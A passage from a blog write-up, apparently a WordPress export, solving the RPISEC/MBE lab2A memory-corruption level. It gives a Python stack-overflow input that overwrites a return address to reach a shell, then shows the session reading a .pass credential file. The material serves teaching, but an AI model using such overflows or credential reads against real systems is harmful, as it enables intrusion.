    In order to overwrite the return address we have to write 10 + 10 + 4 = 24 bytes to locals.cat_buf<\/code>. The first 10 bytes fill the array locals.cat_buf<\/code>. The next 10 bytes fill the space between ebp-0x0a<\/code> and ebp<\/code>. The last 4 bytes overwrite the saved ebp<\/code>. After that the next 4 bytes we write will overwrite the return address.<\/p>\n
    4. final input<\/h3>\n
    Now we have all information we need to construct the final input to the program in order to get our shell. I wrote a little python script to create the input, which we can later redirect to the program:<\/p>\n
    \r\n# overwrite locals.i\r\nprint("X"*12)\r\n\r\n# fill locals.cat_buf and gap to ebp+0x04\r\nfor i in range(23):\r\n  print("X")\r\n\r\n# overwrite return address\r\nprint("\\xfd")\r\nprint("\\x86")\r\nprint("\\x04")\r\nprint("\\x08")\r\n\r\n# input empty line to exit loop\r\nprint("")\r\n<\/pre>\n
    On line 2 locals.i<\/code> is overwritten with the ending newline (0xa<\/code>) which makes the loop read more than the originally intended 10 words. Notice that this only puts one byte into locals.cat_buf<\/code> because only the first char is moved there. The next 23 bytes are filled with an X<\/code> (lines 5-6). At last the return address is overwritten with the address of the function shell<\/code>.<\/p>\n
    Now we can store the python output in a file…<\/p>\n
    \r\nlab2A@warzone:\/levels\/lab02$ python \/tmp\/lab2A.py > \/tmp\/out\r\n<\/pre>\n
    … and pipe that input to the program. One thing to notice here is that we cannot just simply do this:<\/p>\n
    \r\nlab2A@warzone:\/levels\/lab02$ cat \/tmp\/out| .\/lab2A\r\nInput 10 words:\r\nFailed to read word\r\nYou got it\r\nSegmentation fault\r\nlab2A@warzone:\/levels\/lab02$\r\n<\/pre>\n
    A segmentation fault is raised and the program is quit. The message You got it<\/code> is printed meaning that the function shell<\/code> has been called successfully and we should have get a shell. Because we only piped the output of cat<\/code> to the program we cannot interact with the shell. This can be done by simply adding another cat<\/code> command rebinding the stdin to our input:<\/p>\n
    \r\nlab2A@warzone:\/levels\/lab02$ python \/tmp\/hax.py > \/tmp\/out\r\nlab2A@warzone:\/levels\/lab02$ (cat \/tmp\/out; cat) | .\/lab2A\r\nInput 10 words:\r\nFailed to read word\r\nYou got it\r\n\r\n<\/pre>\n
    Now we can interact with the shell as usual:<\/p>\n
    \r\nwhoami\r\nlab2end\r\ncat \/home\/lab2end\/.pass\r\nD1d_y0u_enj0y_y0ur_cats?\r\n<\/pre>\n
    Done \ud83d\ude42 The final password is D1d_y0u_enj0y_y0ur_cats<\/code>.<\/p>\n","protected":false},"excerpt":{"rendered":"
    In the last writeup for RPISEC\/MBE lab01 we used radare2 to reverse three different binaries in order to reveal a secret password or serial. In this writeup we continue with lab02 which broaches the issue of Memory Corruption. As well as in the last lab there are three levels ranging from C to A: –> … <\/p>\n
    Continue reading “RPISEC\/MBE: writeup lab02 (Memory Corruption)”<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26,7],"tags":[8,9,13,10,11,12,14],"class_list":["post-109","post","type-post","status-publish","format-standard","hentry","category-rpisec-mbe","category-writeup","tag-assembly","tag-binary","tag-elf","tag-pwn","tag-r2","tag-reversing","tag-x86"],"_links":{"self":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/109"}],"collection":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=109"}],"version-history":[{"count":60,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/109\/revisions"}],"predecessor-version":[{"id":406,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/109\/revisions\/406"}],"wp:attachment":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=109"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=109"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=109"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}